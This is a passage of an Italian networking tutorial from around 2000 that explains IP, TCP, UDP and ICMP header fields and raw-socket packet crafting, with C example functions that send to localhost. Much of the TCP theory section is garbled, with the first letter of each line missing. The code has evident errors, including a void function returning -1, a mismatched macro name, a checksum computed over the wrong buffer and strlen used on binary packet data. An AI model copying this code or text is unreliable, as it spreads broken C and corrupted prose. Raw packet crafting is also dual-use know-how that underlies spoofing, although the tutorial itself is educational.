datagramma, quindi, dovremo | | dividere il datagramma in piccoli pezzi, ed inviarli | | uno alla volta; quando i pacchetti saranno ricevuti, | | il datagramma originale sarà ricostruito. | | Quando effettuiamo la frammentazione,abbiamo bisogno di | | settare campi specifici dell'header Ip. | | Il flag MF deve essere settato a tutti i frammenti, | | tranne l'ultimo.L'offset del primo pacchetto sarà zero. | | L'Id dovrà essere lo stesso per ogni frammento, per | | identificare a quale serie di pezzi di datagramma | | appartiene.Se l'header Ip è modificato anche in un solo | | frammento il checksum dovrà essere ricalcolato. La | | lunghezza totale dei frammenti prenderà il valore del | | MTU. | | | | | | | | | | ---[ Checksum | | | | | | Calcolare il checksum di un header non è | | difficile, osserva l'appendice A per vedere la funzione | | responsabile di questa operazione. | | Questo è il prototipo della funzione: | | | | unsigned short in_cksum(unsigned short *addr, int len); | | | | - unsigned short *addr : E' un puntatore all'header ip. | | - int len : E' la lunghezza dell'header ip. | | | | | | | | | | | | | | | | ---[ Esempi | | | | | | Il nome della sezione dice esplicitamente cosa | | troverai qui. | | | | | | | | /*******************************************************************/ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione costruisce un header IP */ | | /* SENZA FRAMMENTAZIONE */ | | /* */ | | /*******************************************************************/ | | | | void buildip_nf(){ /*** Funzione che costruisce un Header Ip ***/ | | | | struct iphdr *ip; | | /*** A little step for a man, a big step for human kind ***/ | | | | ip = (struct iphdr *) malloc(sizeof(struct iphdr)); | | /*** Alloca la memoria dinamica ***/ | | | | ip->ihl = 5; /*** Lunghezza in byte dell'Header IP ***/ | | ip->version = 4; /*** Versione del protocollo IP ***/ | | ip->tos = 0; /*** Sperimentale (Vedi sopra per i dettagli) ***/ | | ip->tot_len = sizeof(struct iphdr) + 452 /*** Lunghezza totale del ***/ | | /*** pacchetto ***/ | | | | | | ip->id = htons(getuid()); | | /*** ID (identification) del pacchetto, inutile nel nostro caso ***/ | | | | ip->ttl = 255; /*** Il pacchetto può effettuare | | 255 hop ***/ | | ip->protocol = IPPROTO_TCP; /*** Utilizziamo il tcp come protocollo | | di trasmissione ***/ | | ip->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente ***/ | | ip->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione ***/ | | | | ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); | | /*** Checksum ***/ | | | | } | | | | | | | | | | /*****************************************************************/ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione costruisce un header IP */ | | /* FRAMMENTAZIONE del pacchetto */ | | /* in 2 frammenti */ | | /* MTU = 280 byte */ | | /* */ | | /*****************************************************************/ | | | | | | | | void buildip_f(){ | | /*** Funzione che costruisce un header IP frammentato ***/ | | | | struct iphdr *ipf; | | | | ipf = (struct iphdr *) malloc(sizeof(struct iphdr)); | | | | /**** PRIMO FRAMMENTO ***/ | | ipf->ihl = 5; /*** Lunghezza dell'header in 32 bit */ | | ipf->version = 4; /*** Versione del protocollo IP */ | | ipf->tos = 0; /*** TOS (Type of service), inutilizzato */ | | ipf->tot_len = sizeof(struct iphdr) + 256; /* Lunghezza del | | primo frammento */ | | ipf->id = htons(1); /*** Per identificare i nostri 2 frammenti */ | | ipf->ttl = 255; /*** Il datagramma può effettuare 255 hop */ | | ipf->protocol = IPPROTO_TCP; /*** uso il protocollo TCP */ | | ipf->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente (localhost) */ | | ipf->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione | | (localhost) */ | | ipf->frag_off = htons(0x2000); /*** Offset 0 e MF */ | | ipf->check = in_cksum((unsigned short *)ipf,sizeof(struct iphdr)+256); | | /*** Checksum */ | | | | | | /**** Qui dovremmo inviare il primo frammento ***/ | | | | | | /**** SECONDO FRAMMENTO ***/ | | ipf->tot_len = sizeof(struct iphdr) + 196; /*** Aggiorno la lunghezza | | dei datagrammi */ | | ipf->frag_off = htons(32); /*** Offset del frammento ***/ | | ipf->check = in_cksum((unsigned short *)ipf,sizeof(struct iphdr)+196); | | /*** Ricalcoliamo il checksum dato che abbiamo cambiato dei campi */ | | | | /**** Qui dovremmo inviare il secondo frammento ***/ | | | | } | | | | | | [ CAPITOLO 2 ] | | (HEADER TCP) | | | | | | | | | | ---[ Teoria | | | | | | Diamo ora un'occhiata all'header tcp. Dato | | he esso fa utilizzo di un metodo di trasmissione | | ffidabile, prima di effettuare lo streaming dei | | ati c'è bisogno di creare una connessione. Quindi, | | os'è una connessione? Con il tcp noi la chiamiamo | | hree-way-handshake ("stretta di mano" in tre fasi). | | on il primo passo il client invia al server un | | acchetto tcp SYN per sincronizzare (SYNchronize) | | l numero di acknowledgment; con il secondo passo | | l server "riconosce" (ACKnowledge) il syn, cioè | | onferma la sua ricezione, tramite un pacchetto | | YN_ACK. Se il SYN_ACK non è ricevuto dal client lo | | tato della connessione tcp rimane in SYN_SENT e | | l client continua l'invio di SYN al server, | | inchè esso non lo riceverà e quindi confermerà | | on SYN_ACK.Dopo la conferma dell'avvenuta ricezione | | el SYN, il client risponde con un ACK per | | onfermare l'avvenuta ricezione del SYN_ACK. | | eoricamente una connessione è creata tra due host, | | a se il server si disconnette prima di ricevere il | | ostro ultimo pacchetto (ACK), noi crederemo di | | ssere connessi, ma in realtà non lo siamo. Questo è | | no dei problemi del tcp. Il Tcp (Transfer control | | rotocol) come l'Ip ( Internet protocol ) ha un | | hecksum per il controllo dell'integrità dei dati | | he fa utilizzo di uno pseudo-header di cui | | arleremo dopo. Per essere sicuri che un pacchetto | | rovenga realmente dal source ip specificato nel | | uo header, il tcp ha aggiunto la funzionalità di un | | equence number, ciò significa che durante | | 'handshake, prima il client invia un Seq Number,poi | | l server effettua l'acknowledgement del SYN con il | | roprio seq number. Il server attende nel successivo | | acchetto del client il seq number come specificato | | el campo ACK dell'ultimo pacchetto inviato. Ciò | | reviene l'hijacking o lo spoofing di una | | onnessione da parte di utenti malintenzionati. | | cco un esempio: | | | | Host A < ---- TCP CONNECTION ----> HOST B | | | | ^---- HOST X (utente malintenzionato) | | | | Se non ci fosse il sequence number, HOST X | | potrebbe inviare pacchetti a HOST B facendo | | credere in realtà che questi provenghino da | | HOST A. Oggi giorno, con la generazione del | | sequence number ormai casuale questa tecnica è | | quasi impossibile. | | | | uesto protocollo ha ancora altre opzioni in ambito | | i sicurezza aggiunte a quelle dell'IP, ma non | | erranno trattate in questo testo. Il Tcp permette | | noltre un buon managing dei pacchetti in entrata | | d in uscita. Grazie alla specifica nei pacchetti | | elle porte sorgente e destinazione, molti processi | | ossono comunicare contemporaneamente. Tutte queste | | pzioni, incluse quelle non trattate, però hanno lo | | vantaggio di diminuire la velocità di trasmissione. | | i sei mai domandato cosa sia un socket? Il termine | | ocket nel mondo tcp è usato spesso. Questo è | | emplicemente un indirizzo ip combinato con un numero | | i porta, ed una coppia di socket è la combinazione | | ndirizzo Ip Sorgente + Porta Sorgente + Indirizzo Ip | | i Destinazione + Porta di Destinazione. | | | | Il Tcp ha 6 funzioni principali: | | | | | | URG: Invia dei dati urgenti, cioè con | | maggiore priorità, all'host di | | destinazione. | | | | ACK: "Acknowledgement" dei dati ricevuti. | | Come visto sopra. | | | | PSH: Invia i dati all'host di destinazione. | | | | RST: Resetta una connessione. | | | | SYN: Sincronizza il Seq Number. | | | | FIN: Nessun altro dato da inviare da parte | | dell'host. | | | | | | | | | | | | | | | | | | chema dell'header TCP: | | | | 15-16 31 | | -----------------------+-----------------------+ \ | | Source Port | Destination Port | \ | | (16b) | (16b) | | | | -----------------------+-----------------------+ | | | Sequence Number | | | | (32b) | | | | -----------------------------------------------+ | | | Acknowledgement | | | | (32b) | | | | -------+------+--------+-----------------------+ 20 Bytes | | D_Off | Res | Flags | Windows | | | | (4b) | (6b) | (6b) | (16b) | | | | -------+------+--------+-----------------------+ | | | Checksum | Urgent Pointer | | | | (16b) | (16b) | | | | -----------------------+------------+----------+ | | | Options | Padding | | | | (24b) | (8b) | / | | ------------------------------------+----------+ / | | DATA < | | > | | | | | | | | | | ource Port (16 bits): | | La porta sorgente del pacchetto. | | I pacchetti di ritorno saranno ricevuti su | | questa porta. | | | | estination Port (16 bits): | | La porta di destinazione del | | pacchetto. Il pacchetto sarà ricevuto su | | questa porta dall'host di destinazione. | | | | equence number (32bits): | | Il Sequence number è una buona | | caratteristica della sicurezza del tcp. | | Quando un pacchetto viene ricevuto, il | | modulo tcp del kernel verifica se il | | numero è giusto. Se non lo è, il | | pacchetto viene scartato. | | | | | | | | cknowledgment (32 bits): | | Quando il flag ACK è settato, il | | valore di questo campo è settato al | | valore del Seq number che ci si aspetta | | di ricevere nel prossimo pacchetto da | | parte dell'altro peer (capo della | | connessione). | | | | | | ata Offset (4 bits): | | L'offset dei dati espresso a 32 | | bit. Se non vi sono opzioni, il valore di | | default è 5. | | | | | | eserved (6 bits): | | Riservato per un uso futuro, deve | | essere settato a 0. | | | | lags (6 bits): | | Ci sono 6 flag possibili nel tcp. | | Come visto sopra, questi sono: | | | | | | URG: Indicatore di urgenza | | ACK: Acknowledge | | PSH: Push | | RST: Reset | | SYN: Sincronizza il Seq Number | | FIN: Nessun altro dato da inviare | | | | | | indows (16 bits): | | Questo specifica il MSS (maximum | | segment size) del prossimo pacchetto. Se un | | pacchetto supera questo valore, esso dovrà | | essere frammentato. | | | | | | hecksum (16 bits): | | Il checksum per verificare | | l'integrità dei dati.Il checksum è calcolato | | con uno Pseudo-Header che spiegherò. Questa | | è la struttura, tratta da Tcp/Ip Volume 1 | | (The protocol) di W. Richard Stevens. Per | | favore dedica un minuto di silenzio per | | questo incredibile uomo che è morto, è stato | | uno straordinario scrittore. | | | | Questa è la struttura: | | | | struct pseudohdr { | | unsigned long saddr; | | unsigned long daddr; | | char useless; | | unsigned char protocol; | | unsigned short length; | | }; | | | | L'header contiene l'indirizzo ip sorgente e | | destinazione per evitare pacchetti mal-routati | | (saddr, daddr). Il carattere "useless" esiste | | solo per rispettare il limite dei 32 bit | | (per questo "useless" = "inutile"). "protocol" | | contiene il protocollo, in questo caso | | IPPROTO_TCP, e "lenght", la lunghezza del | | pacchetto. | | | | Il checksum è calcolato come per l'header Ip: | | | | | | -------------- CUT HERE ----------------- | | | | #define PSEUDO sizeof(struct pseudohdr) | | #define TCPHDR sizeof(struct tcphdr) | | | | struct pseudohdr pseudo; | | struct tcphdr tcp; | | | | pseudo.saddr = inet_addr("127.0.0.1"); | | pseudo.daddr = inet_addr("127.0.0.1"); | | pseudo.useless = htons(0); | | pseudo.protocol = IPPROTO_TCP; | | pseudo.length = TCPHDR + data; | | | | tcp->check = in_cksum((unsigned short *)&pseudo, PSEUDO+TCPHDR); | | | | -------------- CUT HERE ---------------- | | | | | | | | Urgent Pointer (16 bits): | | Questo campo è significante solo se il flag | | URG è settato. Esso punta ad un'area dati e ciò | | rende i dati urgenti dal punto di vista dei peer. | | | | | | Options (24 bits): | | Il campo options non verrà trattato in | | questo testo. | | | | | | Padding (8 bits): | | Il campo padding è riempito con 0. Questo | | avviene per rispettare il limite dei 32 bit: esso | | parte con 32 bit e finisce con 32 bit. | | | | | | ---[ Esempi | | | | | | | | /******************************************************************/ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione costruisce un header TCP */ | | /* col flag SYN settato */ | | /* e richiede una connessione telnet su localhost */ | | /* */ | | /******************************************************************/ | | | | | | | | | | #define TCPHDR sizeof(struct tcphdr) | | #define PSEUHDR sizeof(struct iphdr) | | | | | | void build_tcp(){ | | | | struct tcphdr *tcp; /*** Header tcp ***/ | | struct pseudohdr *pseudo; /*** Pseudo header ***/ | | | | if ((tcp = (struct tcphdr *) malloc(TCPHDR)) == NULL){ | | perror("malloc()"); /*** Alloca la memoria dinamica ***/ | | return -1; | | } | | | | if ((pseudo = (struct pseudohdr *) malloc(PSEUDOHDR)) == NULL){ | | perror("malloc()"); /*** Alloca la memoria dinamica ***/ | | return -1; | | } | | | | memset(tcp,'\0',TCPHDR); /*** Inizializza la memoria | | al carattere \0 ***/ | | memset(pseudo,'\0',PSEUDOHDR); | | | | | | pseudo->saddr = inet_addr("127.0.0.1"); /*** Ip sorgente ***/ | | pseudo->daddr = inet_addr("127.0.0.1"); /*** Ip di destinazione ***/ | | pseudo->useless = 0; /*** Spazio riservato per rispettare il | | limite ***/ | | pseudo->protocol = IPPROTO_TCP; /*** Utilizziamo tcp ***/ | | pseudo->length = htons(TCPHDR); /*** Dato che non abbiamo nessun | | dato, la lunghezza è solo | | quella dell'header tcp. ***/ | | | | | | tcp->source = htons(5000); /*** Utilizziamo la 5000 | | come porta sorgente ***/ | | tcp->dest = htons(23); /*** Inviamo al demone telnet ***/ | | tcp->seq = htonl(31337); /*** Initial sequence number ***/ | | tcp->ack_seq = htonl(0); /*** E' significante solo se è settato | | il flag ack ***/ | | tcp->doff = 5; /*** Offset dell'header tcp a 32 bit ***/ | | tcp->fin = 0; /*** Flag FIN non settato durante l'handshake ***/ | | tcp->syn = 1; /*** Flag SYN settato, primo passo dell'handshake ***/ | | tcp->rst = 0; /*** Flag RST non settato durante l'handshake ***/ | | tcp->psh = 0; /*** Flag PSH non settato durante l'handshake ***/ | | tcp->ack = 0; /*** Flag ACK non settato durante l'handshake ***/ | | tcp->urg = 0; /*** Flag URG non settato durante l'handshake ***/ | | tcp->window = htons(4000); /*** Lunghezza massima del prossimo | | pacchetto ***/ | | tcp->urg_ptr = htons(0); /*** E' significativo solo se il flag URG | | è settato ***/ | | | | tcp->check = in_cksum((unsigned short *)pseudo,TCPHDR+PSEUDOHDR); | | /*** Calcolo del checksum tcp per evitare corruzione dei dati ***/ | | } | | | | | | | | | | | | | | [ CAPITOLO 3 ] | | (HEADER UDP) | | | | | | | | | | ---[ Teoria | | | | | | Arrivato fin qui, hai superato la parte più | | "difficile". | | L'Udp è meno complesso del tcp. Esso non ha | | caratteristiche di sicurezza e neanche di affidabilità | | ma ha un maggiore transfert rate che lo rende utile. | | Come il tcp, anche l'udp ha un checksum ed ha bisogno | | di uno pseudo header per calcolarlo. | | | | | | Schema dell'Header UDP: | | | | | | 0 15-16 31 | | +-----------------------+-----------------------+ | | | Source Port | Destination Port | | | | (16 b) | (16 b) | | | +-----------------------+-----------------------+ | | | Length | Checksum | | | | (16 b) | (16 b) | | | +-----------------------+-----------------------+ | | > DATA < | | < > | | | | | | | | Source Port (16 bits): | | La porta sorgente del datagramma. | | I pacchetti di ritorno saranno ricevuti su | | questa porta. | | | | | | Destination Port (16 bits): | | La porta destinazione del datagramma. | | Il datagramma sarà ricevuto dal peer di | | destinazione su questa porta. | | | | | | Length (16 bits): | | Contiene la lunghezza dei datagrammi | | udp in ottetti, solitamente 8. | | | | | | Checksum (16 bits): | | Contiene il checksum del datagramma | | per controllarne l'integrità e per | | assicurare che non vi sono stati errori nel | | routing. | | | | Se sei curioso circa la sua struttura, | | osserva l'appendice A. | | | | | | | | | | | | ---[ Esempi | | | | | | | | | | /****************************************************************/ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione costruisce un header UDP */ | | /* */ | | /****************************************************************/ | | | | | | void build_udp(){ | | | | struct udphdr *udp; /*** Dichiarazione delle variabili ***/ | | struct pseudohdr pseudo; | | | | if ((udp = (struct udphdr *) malloc(sizeof(struct udphdr))) == NULL){ | | perror("Memory exhausted"); /*** Allocazione memoria | | dinamica ***/ | | return ; | | } | | | | | | /*** Pseudo-Header, utilizzato per evitare datagrammi "mal-routati" ***/ | | | | pseudo.saddr = inet_addr("127.0.0.1"); /* Inviamo da localhost **/ | | pseudo.daddr = inet_addr("127.0.0.1"); /* Inviamo a localhost **/ | | pseudo.useless = htons(0); /* Per rispettare il limite | | di 32 bit*/ | | pseudo.protocol = IPPROTO_UDP; /* Utilizziamo il protocollo UDP */ | | pseudo.length = sizeof(struct udphdr); /* sizeof della | | struttura udphdr */ | | | | udp->source = htons(5000); /** Inviamo dalla porta 5000 */ | | udp->dest = htons(7); /** Inviamo al server echo (porta=7) */ | | udp->len = htons(sizeof(struct udphdr)); /* Lunghezza di udphdr. | | Utilizziamo htons() | | per il giusto | | ordinamento dei byte */ | | | | udp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct udphdr)); | | /*** Calcoliamo il checksum ***/ | | | | } | | | | | | [ CAPITOLO 4 ] | | (HEADER ICMP) | | | | | | | | | | ---[ Teoria | | | | | | Fondamentalmente l'Internet Control Message | | Protocol (ICMP) è utilizzato per riportare errori | | come l'irraggiungibilità di un host,la scadenza del | | TTL (Time to live) o "source quench" (letteralmente | | "spegnimento" dell'host sorgente) che significa che | | non c'è abbastanza memoria per proseguire l'invio | | del datagramma in questione. Non esiste un | | messaggio icmp per evitare cicli infiniti di un | | pacchetto in una rete. | | | | | | | | Schema dell'Header ICMP: | | | | | | 0 15-16 31 | | +-----------+-----------+-----------------------+ | | | Type | Code | Checksum | | | | (8 b) | (8 b) | (16 b) | | | +-----------+-----------+-----------------------+ | | | UNUSED | | | | (32 b) | | | +-----------------------------------------------+ | | | Internet Header + 64 bits di dati | | | | (32 b) | | | +-----------------------------------------------+ | | Questo è il formato standard dell'header icmp. | | Se però cambiano i valori dei campi "Type" e "Code" | | il campo "unused" (inutilizzato) viene utilizzato. | | Se "unused" rimane inutilizzato, settalo a 0. A | | seconda del tipo di messaggio icmp, alcuni campi del | | header Ip possono cambiare. | | | | | | | | ECHO REQUEST o ECHO REPLY | | ------------------------- | | | | L'Echo viene comunemente chiamato PING. Per | | generare la reply, lo stack inverte l'indirizzo Ip | | sorgente e destinazione nell'header Ip. Il campo | | "UNUSED" è diviso in campi da 8 bit ciascuno, chiamati | | Identifier e Sequence number, che descriverò qui sotto. | | | | | | TYPE (8 bits): | | 0 Per echo reply | | 8 Per echo request | | | | CODE (8 bits): | | 0 Campo inutilizzato per questo tipo | | di messaggi | | | | CHECKSUM (16 bits): | | Il checksum è calcolato come per gli altri | | header, ma il campo checksum deve essere 0 prima | | di averlo calcolato. Per rispettare il limite dei | | 32 bit, il kernel può "imbottire" il messaggio se | | la sua lunghezza totale è inaspettata, cioè minore | | dei 32 bit. | | | | Identifier (16 bits): | | Questo campo si comporta allo stesso modo | | dell'ID nell'headers ip, ma per gli echo e reply. | | Esso aiuta a capire quale echo reply appartiene a | | quale echo request (come per la frammentazione). | | | | Sequence Number (16 bits): | | Questo campo si comporta allo stesso modo | | dell'ID nell'headers ip, ma per gli echo e reply. | | Esso aiuta a capire quale echo reply appartiene a | | quale echo request (come per la frammentazione). | | | | | | Negli echo request possono essere inseriti anche i dati, | | questi poi saranno rispediti dall'host di destinazione | | nell'echo reply. | | | | | | | | | | DESTINATION UNREACHABLE | | ----------------------- | | | | Questo messaggio è utilizzato per indicare | | che un host o una rete è down, che un servizio non | | è in funzione, che lo stack non supporta il | | protocollo, che c'è bisogno della frammentazione ma | | "don't fragment" (DF) è settato, o che c'è stato un | | errore durante il routing del pacchetto. Il campo | | "UNUSED" rimane inutilizzato e dovrebbe essere | | settato a 0. | | | | | | TYPE (8 bits): | | 3 Destination Unreachable | | | | | | CODE (8 bits): | | 0 Rete irraggiungibile | | 1 Host irraggiungibile | | 2 Protocollo irraggiungibile | | 3 Porta irraggiungibile | | 4 Frammentazione necessaria ma DF settato. | | 5 Routing fallito | | | | | | | | CHECKSUM (16 bits): | | Il checksum è calcolato come | | l'ultimo messaggio. | | | | | | UNUSED (32 bits): | | Rimane inutilizzato. | | | | | | INTERNET HEADER + 64 BIT DI DATI DEL DATAGRAMMA: | | Il titolo è esplicativo.E' usato | | dai protocolli di livello più alto, se | | c'è una porta da identificare o altri | | campi. | | | | | | | | SOURCE QUENCH | | ------------- | | | | Questo messaggio d'errore viene | | inviato quando un host o un gateway non ha | | abbastanza memoria per mettere in coda il | | pacchetto ricevuto per inoltrarlo. | | | | | | TYPE (8 bits): | | 4 Source Quench | | | | | | CODE (8 bits): | | 0 Inutilizzato | | | | | | CHECKSUM (16 bits): | | Il checksum viene calcolato come | | l'ultimo messaggio. | | | | | | UNUSED (32 bits): | | Rimane inutilizzato. | | | | | | INTERNET HEADER + 64 BIT DI DATI DEL DATAGRAMMA: | | Il titolo è esplicativo.E' usato | | dai protocolli di livello più alto, se | | c'è una porta da identificare o altri | | campi. | | | | | | | | REDIRECT | | -------- | | | | Un messaggio redirect (di redirezione) è | | inviato quando esiste una strada più corta per | | arrivare alla destinazione. | | Esempio: | | | | Johnny invia un pacchetto alla rete R. La sua | | route table (tabella di routing) dice per | | default di inviarlo al Gateway #1, ma quando | | il Gateway #1 riceve il pacchetto esso trova | | una via più corta per arrivare alla | | destinazione. Esso quindi invia un REDIRECT | | all'ip sorgente specificando l'indirizzo Ip | | del nuovo gateway nel campo UNUSED. | | | | | | Vi è una eccezione quando l'"IP source routing" è | | abilitato,ma di questa opzione dell'ip non ho parlato | | in questo testo quindi mi fermo qui. | | | | | | TYPE (8 bits): | | 5 Redirect | | | | | | CODE (8 bits): | | 0 Redirige i datagrammi destinati ad una Rete | | 1 Redirige i datagrammi destinati ad un Host | | 2 Redirige i datagrammi destinati ad un TOS e | | ad una Rete | | 3 Redirige i datagrammi destinati ad un TOS e | | ad un Host | | | | | | CHECKSUM (16 bits): | | Il checksum viene calcolato come | | l'ultimo messaggio. | | | | | | | | GATEWAY INTERNET ADDRESS (32 bits): | | Indirizzo Ip del gateway più vicino | | al quale inviare il pacchetto. | | | | | | INTERNET HEADER + 64 BIT DI DATI DEL DATAGRAMMA: | | Il titolo è esplicativo. E' usato | | dai protocolli di livello più alto, se | | c'è una porta da identificare o altri | | campi. | | | | | | | | TIME EXCEED | | ----------- | | | | Questo messaggio viene inviato quando il Time To | | Live (TTL)(tempo di vita) di un pacchetto scade o quando | | scade il tempo per riassemblare il pacchetto. | | | | | | TYPE (8 bits): | | 11 Time Exceed | | | | | | CODE (8 bits): | | 0 Time To Live Scaduto (TTL) | | 1 Tempo per il riassemblaggio dei frammenti | | scaduto | | | | | | CHECKSUM (16 bits): | | Il checksum viene calcolato come | | l'ultimo messaggio. | | | | | | UNUSED (32 bits): | | Rimane inutilizzato. | | | | | | INTERNET HEADER + 64 BIT DI DATI DEL DATAGRAMMA: | | Il titolo è esplicativo. E' usato | | dai protocolli di livello più alto, se | | c'è una porta da identificare o altri | | campi. | | | | | | | | | | PARAMETER PROBLEM | | ----------------- | | | | Il messaggio "Parameter problem" | | (problemi di parametri) è inviato quando un | | datagramma ha valori errati nelle opzioni, | | TOS o un campo non valido. Il campo UNUSED | | viene riempito con un puntatore al campo | | errato. | | | | | | TYPE (8 bits): | | 12 Parameter problem | | | | | | CODE (8 bits): | | 0 Rende il campo POINTER significativo, | | cioè non viene ignorato | | | | | | CHECKSUM (16 bits): | | Il checksum viene calcolato come | | l'ultimo messaggio. | | | | | | POINTER (8 bits): | | Viene preso in considerazione solo | | se CODE = 0. Esso punta all'area dove si | | trova l'errore. | | | | | | UNUSED (24 bits): | | Rimane inutilizzato. | | | | | | INTERNET HEADER + 64 BIT DI DATI DEL DATAGRAMMA: | | Il titolo è esplicativo. E' usato | | dai protocolli di livello più alto, se | | c'è una porta da identificare o altri | | campi. | | | | | | | | | | | | TIMESTAMP REQUEST e TIMESTAMP REPLY | | ----------------------------------- | | | | Tramite questi messaggi si comunica l'orario in | | secondi in cui il pacchetto è stato modificato l'ultima | | volta dalla mezzanotte UT (Universal Time). Quando il | | pacchetto viene inviato, l'orario viene inserito, e | | quando viene inviata la risposta a questo,viene inserito | | l'orario affianco a quello precedente. Tramite questo | | metodo possiamo calcolare quando sia distante da noi un | | host. | | | | | | TYPE (8 bits): | | 13 Timestamp Request | | 14 Timestamp Reply | | | | | | CODE (8 bits): | | 0 Rende l'ID e il Seq Num significativi | | (non vengono ignorati) | | | | | | CHECKSUM (16 bits): | | Il checksum viene calcolato come | | l'ultimo messaggio. | | | | | | IDENTIFIER (16 bits): | | Significativo solo se Code = 0. Esso | | aiuta a determinare la giusta combinazione | | reply / request. | | | | | | SEQUENCE NUMBER (16 bits): | | Significativo solo se Code = 0. Esso | | aiuta a determinare la giusta combinazione | | reply / request. | | | | | | | | NETMASK REQUEST e NETMASK REPLY | | ------------------------------- | | | | Questo messaggio icmp restituisce la | | maschera di rete dell'host che invia il messaggio. | | Per generare la reply, gli indirizzi Ip sorgente e | | destinazione vengono invertiti, viene inserito la | | maschera di rete nel campo, viene ricalcolato il | | checksum e viene spedito al mittente. Se il | | mittente non conosce il proprio Ip, egli inserisce | | 0 nel campo del source ip adress, e la risposta al | | pacchetto verrà inviata all'indirizzo Ip di | | broadcast. | | | | | | | | TYPE (8 bits): | | 17 Netmask Request | | 18 Netmaks Reply | | | | | | CODE (8 bits): | | 0 Rende l'ID e il Seq Num significativi | | | | | | CHECKSUM (16 bits): | | Il checksum viene calcolato come | | l'ultimo messaggio. | | | | | | IDENTIFIER (16 bits): | | Significativo solo se Code = 0. Esso | | aiuta a determinare la giusta combinazione | | reply / request. | | | | | | SEQUENCE NUMBER (16 bits): | | Significativo solo se Code = 0. Esso | | aiuta a determinare la giusta combinazione | | reply / request. | | | | | | | | | | | | | | ---[ Esempi | | | | | | | | | | /****************************************************************/ | | /* */ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione costruisce un header ICMP (PING) */ | | /* */ | | /****************************************************************/ | | | | | | | | void icmp_build(){ | | | | struct icmphdr *icmp; | | | | icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); | | | | icmp->type = ICMP_ECHO; /*** ECHO REQUEST */ | | icmp->code = 0; /*** Campi Id e Sequence significativi */ | | icmp->un.echo.id = 0; /*** Per identificare la risposta al ping */| | icmp->un.echo.sequence = 0; /*** Per identificare la risposta al ping */ | | icmp->checksum = 0; /*** Il campo checksum deve essere 0 | | prima del calcolo */ | | | | icmp->checksum =in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); | | /*** Checksum */ | | | | } | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | [ CAPITOLO 5 ] | | (IMPLEMENTAZIONE) | | | | | | ---[ Teoria | | | | Dopo questa teoria sui vari header | | dei protocolli, dobbiamo ora abbandonare la | | teoria per passare alla implementazione vera | | e propria. Fondamentalmente ciò che descrivo | | in questo testo è come creare un socket | | utilizzando il livello raw, come riempire | | la struttura del socket e come comunicare ad | | un livello così basso. | | | | Per prima cosa osserveremo man mano | | un codice sorgente e per ogni linea | | spiegherò il suo significato. Andiamo: | | | | | | int sock, optval; /*** Descrittore del socket ***/ | | struct sockaddr_in peer; /*** Struttura usata da sendto() ***/ | | | | | | Se non capisci qualcosa, credo sia meglio | | che tu prenda un libro sulla programmazione | | dei socket su sistemi unix. | | | | if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1){ | | perror("Errore nella creazione del socket"); | | return -1; | | } | | | | | | Queste linee creano un socket utilizzando | | il TCP come protocollo di trasporto. Il | | socket è SOCK_RAW per permettere l'accesso | | raw. E' utilizzato AF_INET poichè ci | | troviamo su internet. Da ora, se socket() | | restituisce un errore, perror() | | visualizzerà il contenuto di errno e ciò | | che ha restituito la funzione. | | | | setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int)); | | | | | | | | Questa funzione dice al socket sock che | | lavoriamo al livello IPPROTO_IP e che noi | | includeremo l'header ip (IP_HDRINCL) nei | | pacchetti inviati. optval e sizeof(int) | | non sono importanti per questa opzione, | | quindi non parlerò di loro. | | | | | | peer.sin_family = AF_INET; | | peer.sin_port = htons(23); | | peer.sin_addr.s_addr = inet_addr("127.0.0.1"); | | | | | | Qui riempiamo la struttura sockaddr_in | | (peer) utilizzata da sendto().Diciamo che è | | un protocollo di famiglia Internet(AF_INET). | | La porta di destinazione è la 23. | | Utilizziamo htons() per la giusta sequenza | | dei byte, come detto all'inizio. Nella | | linea successiva settiamo l'indirizzo di | | destinazione utilizzando inet_addr() per | | convertire l'indirizzo in formato binario. | | | | A questo punto dovremmo costruire il nostro | | pacchetto. Prenderò per scontato le cose | | di cui ho parlato nella teoria. | | | | | | sendto(sock, packet, strlen(packet),0, | | (struct sockaddr *)&peer,sizeof(struct sockaddr)); | | | | | | | | Inviamo il pacchetto packet sul socket sock | | per la lunghezza strlen(packet). Nel parametro | | successivo settiamo 0, poichè non indichiamo | | alcun flag. Vi sono 4 flag: | | | | MSG_OOB Questo invia un pacchetto | | Out Of Bound, aumentando la sua | | priorità. | | | | MSG_DONTROUTE Non osserva la tabella di | | routing e invia direttamente | | all'interfaccia. | | | | MSG_DONTWAIT Normalmente sendto() può | | trattenere un pacchetto, ma con | | questo flag, non lo farà e | | restituirà EAGAIN. | | | | MSG_NONSIGNAL Chiede di non inviare il | | segnale SIGPIPE quando uno stream | | orientato alla connessione | | fallisce cioè genera un errore o | | si disconnette. | | | | | | Poi, con ((struct sockaddr *)&peer), chiediamo | | al peer di specificare la famiglia di | | protocolli, e la porta e l'indirizzo di | | destinazione poichè sendto si aspetta di | | avere un puntatore alla struttura sockaddr. | | Infine specifichiamo la lunghezza della | | struttura sockaddr tramite | | (sizeof(struct sockaddr)) e il datagramma è | | inviato!! | | | | Per essere sicuro di aver capito, scrivi | | questo esempio e prova a ricevere il | | 